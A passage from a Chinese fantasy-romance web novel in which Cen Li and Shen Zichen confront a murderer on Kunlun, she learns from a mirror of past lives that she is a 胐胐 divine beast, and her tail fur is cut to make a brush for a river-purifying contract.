岑黎上前用脚踩住短刃,见那人还想挣扎着伸手过来捡,又抬手一棍敲上他肩膀,不屑道:“救了你还想杀我,白眼狼。”
那人惨叫着瘫回到肩舆上,一手捂着肩膀一手指着他们二人:“你、你们……你们!”
沈自珩在他身后伸手压住他的肩,稍用力一捏那人便又是一声惨叫。
“你是何人,缘何要杀她?”
那人双手在空中挥舞着,嘴里不停重复念叨着仙力仙力,看着疯疯癫癫:“昆仑山的宝贝都是我的!都是我的,谁也不能拿走,谁也不行,李济不行,王昌明也不行,只有我可以……”
岑黎听得头大,他口中提到的二人多半与他相熟,还极有可能已经被他杀害了。她抬手,手中的木棍磕了两下肩舆,那人一惊,有些畏惧地看了她一眼,不再说话。
“终于安静了。我问你,李济呢?王昌明呢?”她自上而下地瞧着他,背后头顶上是被云遮住的弯月,看着冰冷惨淡,叫人自脚底生起一股寒意。
那人哆嗦一下,动了动身体将自己蜷缩起来,脖颈却依旧僵直着,装出一副无所畏惧的模样说:“死、死了!你如何认识他们的?在酒楼认识的吗?也是,他们平日除了去酒楼寻欢作乐还能做什么,两个废柴!”
岑黎听着心里的疑惑更深,这人看上去像是被刺激得有些呆傻,但言语间又仍像个正常人,能骂别人是废柴,甚至还能给她安个身份。
她没有反驳,索性顺着他的话继续质问着:“你又是什么好东西?对了,你叫什么来着?”
沈自珩始终站在那人背后,隔着肩舆看着岑黎,此刻的岑黎竟是他从未见过的。
他手下按着的那人大概是被岑黎那句你叫什么激怒了,奋力挣扎起来,口中说出的话也多污秽不堪,无法入耳。
沈自珩一翻手掌唤出银枪,随即将尖利的枪头横在那人喉前。
岑黎也几乎同时将踩着的短刃拾起来,只是她比沈自珩更直接,抬手翻掌间,手中的短刃呼啸着飞出去,擦过那人的脖子钉在了一旁的树干上。
那人再也不敢大放厥词,抱着自己颤抖的双腿回道:“我叫严峰、严峰……”
“你来昆仑山做什么?他们二人呢,不是与你同行的?”岑黎仅凭猜测含糊不清地问着。
“他们……是与我一同来的,我们刚进昆仑山便在崖边看见了赤灵芝,我说我可以下去拿,他们不情愿。”严峰缩着脖子,声音逐渐小了下去。
“后来发生了什么,为何没见他们二人?”
严峰说:“他们怕我摘了赤灵芝后自己私藏,便说要自己下去摘,就、就下去了。”
岑黎听着一皱眉,脚踩上他身下坐着的肩舆问:“什么叫就下去了?说清楚!”
严峰被她吼得又是浑身一抖,几乎要哭出来,一股脑儿都说了出来:“他们没有经验,不会绑绳,随便绑了一下就下悬崖了,我本来想教他们绑的,但是一想到他们从前对我挖苦嘲讽,还像防贼似的防着我,我便走开了,没过多久就听见一声尖叫和李济叫喊的声音……那山崖底下可深可深了,树还多,什么也看不见。”
“王昌明摔下去了?”
“是……”严峰点点头。
岑黎对着他又是一声斥:“接着说啊!李济呢,也是掉下去的?”
严峰神情一滞,看上去比刚才更恐惧、心虚,他偷偷抬眼瞟着岑黎,转而又看向依旧横在他脖颈前的银枪,他只要略微动一动,那冰冷的银枪便会贴上他的皮。
他再开口时有些结巴:“不、不是……”
“那是你杀的?”
“不是不是!我没杀他!真的没有!是他撞上了我的刀,他自己撞上来的,不关我的事啊,不关我的事!”严峰听见岑黎的话猛地直起身反驳着,“真的不关我的事!”
严峰见跑也跑不掉,杀也杀不了,索性跪在肩舆上磕头企图让他们放过自己:“我真的什么也没干,放过我吧,求求你们放过我吧……”
他朝着岑黎砰砰磕头,见岑黎不理睬便又转头向沈自珩求情:“求求你……”
“李济自己撞上你的刀,是这样吗?”
沈自珩在严峰又要磕头时,飞快地将手中的银□□了出去,严峰还没反应过来枪头便已经抵上了他的肩头。
岑黎在一旁抱着手臂,冲他一抬下巴:“他如何能撞上你的刀,你不妨示范给我们看看。”
严峰站起身,一瘸一拐地走到大树前,费力地从树干上拔下他的短刃,握在手心。
“那是灵起草吗?”李济看着面前一大片紫色的草欣喜若狂,扔下了手中的布包便扑上前去摘,这草极为罕有,坊间虽然有出售但要价极贵,全都是因为传说它有包治百病、长生不老的功效。
严峰跟在后面,他没着急摘,而是先弯下腰细细看着那紫色的草。
这草虽是紫色,却并不整株都是,只有叶尖为此色,叶片也并不如他之前所见的,两边呈锯齿状,而是十分圆滑。眼前这草,除了叶片是三片,呈紫色外,其余的特征与灵起草并不相同。
他看向旁边正兴奋地摘着草的李济,咽下了“这是毒草”这句话。
“严峰,你不摘点儿吗,这可能卖个好价钱。”李济兴高采烈地将采到的草放进行囊里,转头又去接着采,一边采一边说着。
“上回在酒楼王昌明说的那些话,你也别往心里去,我们大家都能理解,十年未考取功名确实有些丢脸,但人嘛,总得认命不是,没准你就天生不是读书的料,不如少费写力气在这上头,多琢磨琢磨别的生路,昌明兄只是话说得有些难听,但道理是这么个道理,你说是吧?”
“严峰?”他没等到回音,转头去寻,就见严峰蹲在崖边,看上去心事重重,喊他也不搭理。
李济以为他是觉得伤心,放下手中的草走过去又喊了他两声,见他仍是不回头,便伸手过去拍
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他肩膀。
“你别难过啊,我不说了还不行吗……”李济有些不耐烦地推了推他,“这么小气呢。”
严峰终于转过头,却是惊恐地看向他身后,伸出的手指都颤抖着:“有、有……”
“有什么?”
“什么也没有。”严峰靠着大树,看了看手中的短刃,“我吓他的,谁让他那样说。”
岑黎走上前看着他:“你觉得他说话难听,就把他杀了?”
“我说了,是他撞上了我的刀。”他似乎冷静了,语气比之前平缓不少,“他不经吓,我就喊了一声他就害怕得不行,脚下踩到了断木,往前一扑,胸口正好扑在了我的刀上。”
严峰撇撇嘴,抬手点了点自己的心口:“就这里。”
岑黎瞧着眼前情绪与刚才截然不同的人,始终想不明白一个问题:“那你之前为什么装疯要杀我?”
“因为我讨厌有钱人。”严峰依然看着手中的短刃,那是一把十分精美的短刃,握柄上雕刻着繁琐的花和藤枝,上头甚至还有一块宝石,他的手摩挲着那宝石,不紧不慢地说,“看你们的穿衣就知道你们有钱,还不是一般的有钱,大概家里也位高权重吧?既然有权有势,到昆仑山来与我们这些穷苦百姓抢什么!”
“我们找灵芝找灵起草都是为了卖钱,你们呢!你们根本不需要这些,这不过是你们的消遣罢了!”严峰越说越激动,眼睛红得几乎要滴出血来,“有钱人都该死!”
他又一次举刀朝岑黎扑过去,却见她丝毫未动。
“为什么一定要杀我……”岑黎轻叹了口气,在他离自己还有一臂远时猛地一掌拍上他的额头,严峰连声音都没发出,便晕倒在地上。
“简直莫名其妙。”岑黎踢了他一脚,忽然戏谑地看向沈自珩,“你说如果他知道你之前是王爷,会不会对你恨之入骨,第一个杀了你。”
沈自珩无奈地看着她:“那都多少年前的事了……而且,谁会和疯子讲道理啊?”
岑黎点点头,朝他走过去:“这人咋办?”
沈自珩拉着她伸过来的手往前走,头也不回地说:“狐仙肯定看着呢,一会儿就会来人了。”
“那我们不管他了?万一他醒了又去杀人了呢?”
这回沈自珩不无奈了,有些惊讶地瞪大眼睛:“你那一掌拍下去,他今天能醒过来?”
岑黎挠了挠头,嘿嘿一笑:“不能。”
昆仑山顶,冉月朝着面前的男子行礼,问:“山君,那人带回来了,怎么处理?”
眼前身形修长匀称的男子背着手站在石桌前:“你瞧见了全部吧,你觉得应当如何处理?”
“他对岑黎妹妹撒了谎,李济不是自己撞上了他的刀,是他亲手杀的。”冉月说道,“杀人者,应当偿命。”
男子听罢挥挥手:“那就去吧。”
冉月应了一声便消失了,男子眨了眨眼,悄悄转过头四下看了看,此刻这里只有他在。
他暗自窃喜,舔了舔嘴唇,迫不及待地伸手摸向桌上摆的东西。
68. 净河契 七
“不能偷吃哦。”冉月不知从什么地方冒出头来,冷不丁说道,“他们快到了,往生镜也准备好了,您要不等等再吃?”
玄宿的手刚摸到橘子皮,没等拿起来就被冉月吓了一跳。他有些不悦地看过去:“往生镜非要我带他们去看吗?你带他们过去不行吗?”
冉月一摊手:“女英又没把这事托付给我,我还得守山去呢。”
玄宿一手拿着橘子:“那我带着总行吧。”
冉月假笑一声,抬手指着桌上缺了山尖的“橘子山”说道:“那是招待客人的,放回去。”
往生镜,昆仑山的宝贝,与地府的三生石有些相似,又有些不同。
“三生石能看到前世今生,只能凡人用,但我们这些神啊仙的,虽有些是修炼而成,有身为普通凡人或动物的过去,但也有些一出生便是神仙的,他们没有前世。”玄宿伸手指了指自己,又朝岑黎的方向指了指,“所以便有了这面往生镜。”
岑黎懵懵懂懂地点头:“现在要做什么?”
玄宿看着她,一皱眉:“照往生镜啊,能登上昆仑山顶的第一件事便是照这镜子,你不知道?”
岑黎摇摇头,站到巨大的往生镜前。
她抬头往上瞧了瞧,根本看不见这镜子的顶端在哪儿,她又展开双臂比划一下,连镜子的两边都无法触碰到。
玄宿站在一边揣着手,懒洋洋地说:“别比划了,这镜子大着呢。”
“哦。”她应一声,指尖蓄起一缕灵力,轻轻点上往生镜。
在她没瞧见的地方,玄宿轻叹一声,抬手拍了两下沈自珩的肩。
岑黎刚碰上往生镜,那镜面便如同水一般漾开,各色灵力如同灵活的鱼在其中游动着,她走上前还未细看,那镜面上便赫然出现了一位坐着的老妇人,她头上裹着蓝底白花的布巾,一手握着竹篮,另一手朝她伸了过来,满是皱纹的脸上带着和蔼又温暖的笑意:“走啦,回家了。”
视角忽然高了一些,但也只有一些。老妇人站起身后她便只能瞧见老妇人的腿了。
这是谁的眼睛?她在借着谁的眼睛看过去?“它”是谁?
岑黎来不及细想,镜中它跟了上去,凑近了老妇人手中的竹篮——这时岑黎才注意到一直被她忽略的那一片白色。
是白色的长长的毛,它凑上前拿竹篮时岑黎看得更清楚了,那是有些尖长的鼻子!那它此刻便是用嘴叼着竹篮吗!
她想回头找沈自珩,但无论她怎么努力,头始终转动不了,她仍然在借着它的眼睛看着眼前这一切。
一人一兽沿着山路走着,老妇人走得有些慢,时常会停下来歇息,它往前跑了两步发现老妇人停了下来,便转头又跑回她身边待着。
老妇人笑得更开心了,又对着它抬手,这次岑黎大概猜出了,老妇人是在摸它的头吧……她摸了摸它的头,又从它嘴里拿过竹篮,一指旁边的小路,它顺着手指的方向转头,却只能看见一片草。
于是它又转过头来看她。
“那儿有条小溪,想去抓鱼吗?”老妇人说着,率先往小路上走,“走吧,今儿天气好,可以下水。”
老妇人说完,它大概是蹦了蹦,视角忽然变得雀跃起来,随后两边的杂草飞快地从余光里掠过——它在奔跑。
岑黎看着总觉得那些草拂过了自己的脸,她不自觉地抬手在脸上挠了挠。
它奔跑了没多久便停了下来,透过杂草和灌木的缝隙盯着地面瞧,岑黎不知道它在看什么,但当老妇人的布鞋出现时她就懂了。
老妇人见它停下了,对它一挥手:“去吧,我在大石头那儿等你。”
它转身又跑了,这次再没有停下,一溜烟地跑到小溪边,扑通一声跳了进去,在水花溅到它脸上之前它闭上了眼,岑黎的眼前也陷入一片黑暗。
当它再睁眼时,它依然在老妇人身边,只是这时老妇人的脸上却不再是那样温和的笑意,她轻叹了一口气,像从前那样对它伸出了手:“去吧,不要带上我搅了你们的生活,去过你的好日子去。”
岑黎听到它也轻叹一声,视线转向了老妇人身后的小屋,片刻后它将头靠在了老妇人的腿上,慢慢闭上了眼睛。
岑黎的眼前再次一片漆黑。
这一次她看到的是那座“殿”,是净山!
它走上石台四处看了看,又跳下石台转身往里面走,径直地走向其中一间房,那房的房门虚掩着,它伸出爪子轻轻一推,里面传出了熟悉的声音,是老妇人的声音。
她从床前直起腰来看,只瞧了它一眼就轻笑着数落道:“明明会变成人了,却还是更喜欢这副模样吗?是因为这样更自在?但是你看看你的爪子,又上哪儿去蹭的这脏兮兮的?”
它的一只前爪被老妇人握在手心,毛茸茸的爪子黢黑,上头还沾了一些苍耳。
岑黎一挑眉,有些幸灾乐祸,苍耳这东西她知道,沾上以后根本抖不掉,得用手扯下来,它怕是要遭罪喽。
果然,它被老妇人一把抱了起来,视线跟着高了不少,老妇人抱着它转身要走出房间,走到门口时却抱着它突然转身,指着床说:“瞧瞧,刚给你做好的新被褥,这花样好看吧?”
岑黎看着眼前这个,与她孟婆庄的家里陈设几乎一致的那个房间,终于明白了。
这是它的房间,也是她的房间。
老妇人养大的小兽就是岑黎。
她就是被江兰养大的!
这一瞬间她脑中一片空白。她不知道自己该觉得欢喜还是……
她看到的那些原来是她从前的记忆,她本应该欢喜的。可亲手将她养大的江兰,那个和蔼可亲的老妇人她再也见不到了。
岑黎抚上胸口,那里痛得她喘不上气。
江兰孤身住在山上的那些时日,那间一直为她留着的房,还有许多她们共同度过的那些日子都被她遗忘了,忘得一干二净。
她见到江兰的最后一面了吗?
江兰知道她的记忆消失了吗?如果知道的话,江兰是不是很伤心?
她会不会怪自己?
岑黎很想抓着谁的衣领问一问这些,可她能问谁呢?她现在连自己是谁,原本叫什么,小兽时长什么样子都不知道了。
她没有来处,以后也会没有去处吗?
“我。”岑黎哑着嗓子开口,“是什么兽?”
山君一挑眉,用胳膊肘顶了顶一旁的沈自珩,这个动作他毫不掩饰,被岑黎看个正着。
“你早就知道?”岑黎不可置信地看向沈自珩,又问了一遍,“你早就知道,对吗?”
“是。”沈自珩愧疚又心疼地看着她,轻声说道,“你是神兽胐胐的后代。”
玄宿咽了嘴里的橘子开口道:“也就是说你就是胐胐,知道吗,那个长得像狐又像狸的,一身白毛,耳朵和尾巴尖是黑色。我没记错吧?”
他转头看向沈自珩,沈自珩却没搭理他。
岑黎用袖子胡乱擦了脸上的泪
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,眼眶通红地看沈自珩:“这便是你不能说的事?还是说,你还有更多事没告诉我?”
沈自珩没回答,径直走到她面前:“对不起。”他有些紧张地抬手,想象从前那样蹭一蹭她的脸颊。
只是现在她的脸颊上全是泪,擦不完的泪,湿漉漉的,但是还好她没躲开。
“对不起,有些事情我不敢随意告诉你,我怕那些……会成为你的束缚,亦或是累赘。”他说,“对不起。”
“所以那些事都与我有关,你却不跟我说?”岑黎转过头不看他,声音颤抖着,“你为什么要替我权衡利弊?”
沈自珩叹了口气:“我……我不能替你做决定,是我错了。”
岑黎没再回答。
“你真是我见过的嘴最笨的男人。”山君啧一声说,“岑黎,我知道你想问什么,不如我先来回答你的问题。”
“首先,你是在江兰过世后才失去了那些记忆,所以只是现在的你不记得她,啊当然我们这些神兽的,你知道意思就行。
其次呢,你知道这个房子是谁建起来的吗?是你,你刚才看的时候没发现那附近的树啊花啊看着眼熟吗?”
岑黎疑惑地看他:“什么意思?”
“你把江兰原本住的小破屋子拆了,建成的这个。”玄宿伸开胳膊比划着,“大屋子。”
听到玄宿的回答,岑黎心里放下了不少,但还是对沈自珩的隐瞒感到不快。她知道他有顾虑,甚至那顾虑还是因为她。
但她心里还是不悦,索性一抬腿走了出去,留下玄宿和傻站着的沈自珩。
玄宿走上前:“你为什么不告诉她呀,现在好了,不理你了。”
沈自珩看着他,嘴角扯出一抹苦笑:“说真的,到现在我也不知道究竟是不告诉她好一些,还是告诉她好一些。”
“所以你还不打算说?”
“说。终究还是该说的,她说的对,那是她的事,我不能替她做决定。”沈自珩叹了口气,看向岑黎走的方向,“她比我想象得坚韧得多,是我做错了。”
玄宿伸长胳膊一把勾住他脖颈,边往外走边说:“你们凡人想得真多,但是又没什么用,徒增烦恼,杞人忧天!”
冉月坐在岑黎旁边慢悠悠地剥着橘子皮:“那你是打算跟他断了吗?”
岑黎摇头,拿过一个橘子,在上面掐出一个个小月牙印:“没有,那也不至于。”
冉月莫名其妙:“他不是都对不起你了吗?”
“也不至于对不起我。”岑黎叹着气,挺直的背垮了下来,她慢慢往前趴倒在桌上,“我只是……”
“我明白,本来失去了记忆的感觉就很不好。”冉月把剥好的橘子塞进她手里,又把她手上惨不忍睹的橘子拿过来,“之前我被关在镇妖塔,你知道的吧,那儿又是凶兽又是符咒,我刚被关进去就晕了,醒来之后愣是想不起来我为什么在那儿。虽然只有几天,但也挺难受的。云峤来找我的时候我还问他,你是谁。”
冉月见她拿着橘子不动,又把那个剥好的橘子拿过来,掰开一半递到岑黎嘴边:“尝尝,山君最喜欢这橘子了。”
见岑黎张嘴咬过橘子,她满意地点头,说,“就是嘛,没事儿啊妹妹,你看现在你知道了自己是神兽后代,记忆也有着落了,身旁又有这么一个真心待你的人,不亏!世上能有多少人像他一样一直陪在你身边不离不弃啊,是吧?”
岑黎趴着点点头,忽然又从桌上直起身:“你说什么?”
69. 净河契 八
冉月又掰下一瓣橘子塞她嘴里:“吃,边吃边说,我跟你说一会儿山君过来就得把这些都拿走。你说他一只虎仙怎么爱吃橘子呢……”
岑黎刚咽下橘子就又被冉月塞了一瓣,她哭笑不得地抬手要将橘子拿过来。
“你是不是想问我刚刚说的那句一直陪在你身边不离不弃的话?”冉月一脸看透了她的表情,岑黎这会儿倒是有点不好意思了。
“没……”
冉月拍了拍她放在桌上的手,安慰着:“你们俩的事儿我多少也听说了些,但是也只是道听途说,沈大人这个人我接触得也不多,不太了解。”
岑黎点点头。
冉月又说:“但是山君认识他很久了。”
她俏皮地一眨眼,“如果你想打听什么,但是暂时又不想和沈大人说话的话,不如去问问山君。他很容易被收买的,一盘橘子就行。”
“什么?!她跟你这么说的?”玄宿抬起手掌要往石桌上拍,岑黎见状眼疾手快地用手指将果盘里圆滚滚的橘子往前一推——正巧推到他掌心里。
那一掌没落下来,玄宿嘀嘀咕咕地拿过橘子:“哎行吧行吧,你想问什么,一并问个清楚。”
岑黎沉吟片刻,他们此次来昆仑山首要任务是重新签订净河契,好让昆仑重新对奈河进行水质净化,至于她个人的事,本就是意外收获。
“山君,我们此次前来是为了净河契,奈河的情况您也知道了,现下让奈河恢复原状才是重中之重。”岑黎揉了揉有些肿的眼睛,问,“但关于净河契,我们都不太清楚,请山君详细告知。”
玄宿有些意外。
他刚才瞧着岑黎和冉月聊得火热,冉月脸上又偶尔会有义愤填膺的神情,想也知道是在为了岑黎抱不平。后来岑黎又来找他,他自然觉得她是来问关于沈自珩的事。
“我当你是来问他的,原来是我想错了。”玄宿慢慢剥开橘子皮,清香的汁水从被撕开的橘皮中迸发出来,散在空中。
玄宿闻着弥漫在四周的橘子味儿,十分满足地点点头,一边剥着橘子皮一边说:“奈河这事儿原本不归我管,你也听见了冉月喊我山君,我是管山的,只是女英近日琐事繁多,因此我便在这儿了。不过我且问你,你知道净河契是用什么签的吗?”
他伸手在空中比划了一个书写的动作。
岑黎犹豫着开口:“用笔?”
“对,用笔。”玄宿点点头,一挑眉毛,“关键是什么笔。”
传说中神兽胐胐可替人消解忧愁,忘却烦恼,这个传说虽有些夸大其词,但神兽胐胐身上当真是有些不寻常之处,便是它的毛发。
“签下净河契的笔,那个笔尖是用胐胐的尾巴毛做成的。”玄宿将橘子掰成两半,递了一半给她。
岑黎摆摆手拒绝:“我……品尝过了,很好吃。”
玄宿又递了递:“再吃点儿呗,昆仑山上种出来的东西别的地方可尝不到。”
岑黎无奈,接过橘子拿在手上:“您请继续说。”
“说到哪儿了,哦,尾巴毛。”玄宿说,“但是笔不能没有笔杆啊,笔尖是用神兽的毛发做的,那普通笔杆必然是不能与之相配,于是女英就想着用判官笔的笔杆。”
“为什么用判官笔?”
“判官笔,识人善恶,定人生死,与奈河划开阴阳两界有相似之处,况且判官笔本就是地府重器,它若是能代表地府,那神兽毛发,便是天庭之物,净河契也就成了天庭与地府共同执掌的契书。”
玄宿吃完了橘子,拍了拍手,往后靠在石椅上:“那支笔就在我这儿,契书也已经拟好了,只是那支笔时日已久,笔尖上的毛几乎都掉光了,需要重新做一个笔尖。”
岑黎茫然地点点头。
“好了,接下来就是你的事儿了。”玄宿懒洋洋地伸了个懒腰,头发露在没有树荫遮挡的阳光下,看上去竟是耀眼的金色。“你还有什么想问的,什么都行。”
“怎么化形啊?”
冉月听见一声惨叫便从房中奔出来,刚想问发生了什么事,就见玄宿像一张虎饼一样瘫在地上。
冉月眨眨眼:现原形啦?
她走过去蹲在玄宿面前,抬手揪了揪他的胡须:“发生什么事了?”
眼前有着一身漂亮毛发的山君四脚朝天地躺在地上,一双金色眼睛也认命似的紧紧闭上,冉月又问了一遍之后虎爪才飞快地往旁边一指。
被指到的岑黎笔直地站在旁边,头也不敢抬:“我想让山君教我怎么化形……我想不起来……”
地上的虎饼像只黑金相间的肥虫一样扭了扭。
“也是,你没了之前的记忆。”冉月拍了拍抬起来的虎爪,径直朝岑黎走过去,“但是我们本身便是兽,人形是后来学会的,所以变回兽形其实比化成人形简单得多,是你的本能。”
岑黎就见冉月一边教着她一边走来,刚走出两步,眼前美艳的美女就化成了一只赤红色的狐狸,大尾巴还轻轻摇晃着。
“哇……”岑黎看着眼前的狐狸,蹲下身,“姐姐你居然是一只赤灵狐!太漂亮了!”
赤灵狐又晃了晃尾巴,骄傲地仰起头绕着她转了一圈,又用头蹭了蹭她放在膝盖上的手。岑黎刚将手挪开,它便立了起来,前爪踩上了她的膝盖。
“这是……”
赤灵狐先是用头蹭了蹭她的下巴,见她不动,又伸出爪子轻轻碰了碰她的脸。
“让我低头?”岑黎低下头,一团温暖又毛绒绒的触感贴上了她的额头,没等她仔细感受,眼前便忽然出现一道与赤灵狐毛色一样颜色的灵力,从她的眉心钻了进去。
再睁眼时,赤灵狐站在地上歪着头正与她对视。
不对。
等等……
等一下!
沈自珩从一旁走了出来,看着石台上三只动作神态皆不同的……动物。
老虎仍在地上四仰八叉地躺着,阳光晒在它的肚皮上,白色的毛看上去却是金灿灿;赤红色的狐狸看上去昂首挺胸的,正站在老虎旁边,时不时还踩一下老虎;最旁边那只傻站着的小东西,全身雪白,只有耳朵和尾巴尖是黑色的毛,它的毛比狐狸的还长些,看着十分软和。
“小黎?”沈自珩喊了一声,正傻站着的胐朏立刻扭过头看向他,与他记忆中的胐朏一模一样。
他笑了一声:“变回来吧。”
胐朏在原地转了几圈,又变回了岑黎的模样。
她惊讶地看了看四周,又抬头看向不远处的沈自珩,正想问让我变回来干什么,当神兽好好玩
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啊,就见站在太阳下的沈自珩脸上亮晶晶的。
“你……”
沈自珩大步流星地走过来,将她拥入怀中。
她从未被人这样紧抱过。岑黎的胳膊被沈自珩箍在臂弯中,她抬不起肩,只能勉强搂住他的腰轻拍着。
“你怎么了?我不生气了,你别难过。”
沈自珩的泪滚落在岑黎的肩上,洇出一小片水痕。他清了清嗓子,几次试着说话却都发不出声音,索性放弃开口,用他们最熟悉的方式传讯着:“我终于又见到你了……”
岑黎也落下泪来,她在沈自珩肩上蹭了蹭脸,不知这悲从何而来。
沈自珩调到阴律司当督察后第一件事便是去瞧瞧那新来的孟婆庄管事。
那日他比往常早了一个时辰便到了阴律司,飞快地处理完公务后便夺门而出,赶往奈何桥。
奈何桥一向繁忙,常常很早便会有许多亡魂在桥上排队领孟婆汤,他看了看时间有些懊恼,此时她怕是已经开始忙了。
他站在奈何桥下的店门口朝着桥上张望,远远地便看见了那一身白袍正站在桥上的女子。他忽地觉着紧张起来,抬手整了整官服,阴律司的官服是墨色的,看上去死气沉沉,恶鬼一样。他重新折了衣袖,一抬头就见她朝这个方向走过来。
沈自珩轻抿着唇,努力让自己看上去不那么惊慌失措,见她看着自己,他正要开口说话,就听她问。
“你好呀,你是要排队喝孟婆汤……”
“我险些气晕过去。”沈自珩拿过一碗汤放在她面前,“这里都是昆仑山上的东西,味道鲜美,试试。”
岑黎点头,拿起勺子:“就我们两人吃饭?山君和冉月姐姐呢?”
“他们自己吃便是。”沈自珩轻飘飘地说了一句,“我们在反倒碍着他们。”
岑黎咬着青菜瞪大眼睛看他:“嗯嗯嗯?”
“是你想的那样。下午你没瞧见吗,冉月拽他胡须,有哪只狐狸敢去碰老虎的胡须?”沈自珩冷笑一声,想起来玄宿之前在他面前得瑟。
“哎呀,你再不抓紧心上人要跑啦,多向我学学,我和冉月情比金坚!”
沈自珩又冷哼一声。
我和小黎也情比金坚!
他放下筷子看着岑黎:“等你吃完,我有话同你说。”
岑黎夹了一筷子竹笋放进嘴里,嚼得嘎吱嘎吱的:“你是想说我们之前就认识的事吧?确切地说,是你的上辈子就认识我了,对不对?”
上辈子三个字像是沈自珩的眼泪阀门,一提这个他就鼻酸。他捏了捏鼻梁,问:“你想起来了?”
“没有。”岑黎摇头,“但是我看见了,在往生镜里。”
“镜子里,我回到净山,走进自己的房间时,看见了桌上的一件东西。”她看着沈自珩有些红的眼睛笑了笑,又将视线移向沈自珩胸前。
她一直知道在他胸前挂着一个玉雕成的狐狸面吊坠,原先她以为那是狐狸,他戴着是“灵狐入梦”之类保求万事顺遂。
但往生镜中,她的桌上放着一个一模一样的玉狐狸面具,比沈自珩戴着的更大,摆在了她床头。
“原来那不是狐狸啊。”她说。
沈自珩笑了,捧着她的脸说了句什么便倾身贴上她的唇。
70. 净河契 九
岑黎与沈自珩鼻尖抵着鼻尖,她忽然笑了一声:“下午知道你瞒着我许多事情的时候我真的很生气,想跟你吵架。”
沈自珩稍稍往后退了些,十分认真诚恳地看着她,狐狸眼里还水汪汪的:“对不起。”
“就是这样。”她凑上去把自己塞进他怀里,“你一说对不起我就不忍心了。”
沈自珩将她拢在怀里,脸颊贴上她的额头,想了想他俩吵架的样子,当真想不出来。“我们从来没有吵过架。”
“之前呢?我是说你的上一世。”岑黎仰起头看他,“你想跟我说的是这个,对不对?”
“是。之前我同你讲过的,上一世我从皇兄手里抢了一只小狐狸,但是后来它不见了。”沈自珩捏了捏她鼻尖,“那只小狐狸便是你。”
“我?”岑黎拍开他的手,“后来我还回来过吗?”
沈自珩点点头:“后来是你回来了,以岑黎的模样。我一直当小狐狸是忍不了被困在宫中所以跑了,但现在看来,你应是回了净山。从净山回来后你便再也没有变回过小狐狸的模样,我也不知道小狐狸就是你。”
“小黎——”外面传来冉月的声音,“小黎!”
岑黎连忙起身开门:“姐姐,怎么了?”
冉月笑嘻嘻地从背后拿出来一把剪刀:“你不是说让我帮你剪尾巴毛嘛?快变!让我摸摸神兽!”
胐朏晃了晃毛绒绒的脑袋朝冉月扑过去。
“你的毛真漂亮啊,转过去让我看看尾巴。”冉月把手里的剪刀丢到一边,双手齐下地伸进胐朏背上的长毛里,蓬松的尾巴在它身后摇晃着。
沈自珩从屋里走出来,靠在门口看着她们玩。重新制出一支签净河契的笔,需要用到胐朏的尾巴毛,这还是玄宿告诉他的。
“别动……”冉月一手拿着剪刀,一手捏住胐朏的尾巴哄着,“就剪一点点,但是你一动就不好说了哦。”
胐朏有些不安地用两只前爪在地上轮流踩了踩,随后忽然转头看向沈自珩。
沈自珩以为是要他过去,他刚踏出一步,冉月对他一抬手:“别过来!它是让你回去呢!”
“为……”
哦……
沈自珩忽然想起来上一世侍女给小狐狸修毛的时候,他站在旁边看着,它也是万般不情愿,侍女怎么都没法下手剪毛,后来他被皇兄喊走了,也就一炷香的时间,再回去看时小狐狸已经焕然一新。
胐朏见沈自珩退回了房间里,转过头去将脑袋搭在冉月的腿上,从鼻子里叹出一口气。
冉月被它逗笑了,歪过头看它:“怎么啦,讨厌剪毛啊?”
胐朏又叹出一口气,这回索性将头扎进冉月臂弯里,连眼睛也闭上了。
冉月只能安慰道:“没事啊,姐姐剪毛的技术可好了,昨天你看见山君的毛了没,那就是我剪的,而且咱们制笔只需要一点点……”
“咔嚓”一声,胐朏猛地竖起耳朵,刚想转过头就被冉月一手摁了回去:“马上好马上好。”
很快又是“咔嚓”一声。
“行了,我拿去让山君制成笔。”冉月呼噜着胐朏的脑袋,提高声音冲着屋里喊了一声沈自珩,说,“制成之后要晒干再开笔,最后再签净河契,估摸还要四五天,你们便在昆仑山等着吧,四处转转也可以。”
沈自珩点点头,看着脑袋埋在冉月怀里的胐朏轻笑道:“我打算去小溪边走走,你是打算这样跟我一起去,还是换个样子?”
闻言胐朏从冉月怀里抬起头走到沈自珩面前。
抬起前爪,往他的鞋上狠狠踩了一脚。
明明在偷笑,别以为它听不出来!
胐朏蹿回房间,看着镜子里自己光秃秃的尾巴,从鼻子里喷出一口气。
它要去问问玄宿怎么才能快点长毛啊!
“为什么要来这儿?”岑黎蹲下身撩了一把流淌着的溪水,太阳一落,山里便会一点点冷下来,此时的溪水已经有些冰冷了,水中的小鱼倒是游得欢快。
他们从山上下来,一路上沈自珩都拎着一个竹篮,上头还盖着布,岑黎几度想掀开布瞧瞧里头是什么,但都被沈自珩摁住了,说到了小溪边就知道了。
“所以篮子里面是什么?”岑黎站在小溪边叉着腰,朝着他抬了抬下巴,“你再不说我就把你踹下去。”
沈自珩将竹篮上的布揭开,下面是那件玉雕成的狐狸面。
“这是净山的那件?”岑黎将狐狸面从篮子中捧出来,它不知在净山放了多久,上面铺了薄薄的一层灰,呛得她流下泪来。
沈自珩走到溪边将布打湿,轻轻擦拭着狐狸面,一边擦一边给她看那面具上左眼处的一小块缺口。
“狐狸面是我在宫中做好的,那时候你还是小狐狸的样子,还没长出黑色的毛,只有左眼下有一小撮。
我做它的时候其实并未想好如何让人一看便知这是小狐狸,还是那日皇兄到御花园来寻我时瞧见你了,说了一句。”
“哟,这小狐狸眼下有一点墨色呢。”
“所以你就把这一小块敲了?”岑黎端详着手中的狐狸面,却见沈自珩摇头。
“是你自己一爪子拍的,不过这样倒是误打误撞成了孤品了。”
岑黎瞧着他,眯着眼有些犹豫地想要开口,过了一会儿又闭上嘴。
“想说什么?”沈自珩有些好笑地看她,“跟我还有什么不能说的?”
她支支吾吾地问:“那个……你不会喜欢的是……是小狐狸吧?”
沈自珩眼睛一转,坦然地点头:“我是喜欢小狐狸啊。”
岑黎倏地瞪大双眼:“小狐狸……是兽啊!它、你!不是?!”
“小狐狸不是胐朏吗?”沈自珩问。
岑黎点头。
“胐朏不是你吗?”
岑黎想了想,也对,又点点头。
“那我喜欢小狐狸有何不妥?”沈自珩笑眯眯地看她。
岑黎彻底慌了,语无伦次地说:“可我、我是人啊!就算我是神兽后代,我从前也不知道啊,我一直觉得我自己是人啊!你、你究竟是喜欢我还是喜欢胐朏啊?!”
她说完,往后退了一步,用审视的眼光看向沈自珩,严肃地问他:“上辈子你不会爱上的是小狐狸吧……”
沈自珩忍得耳
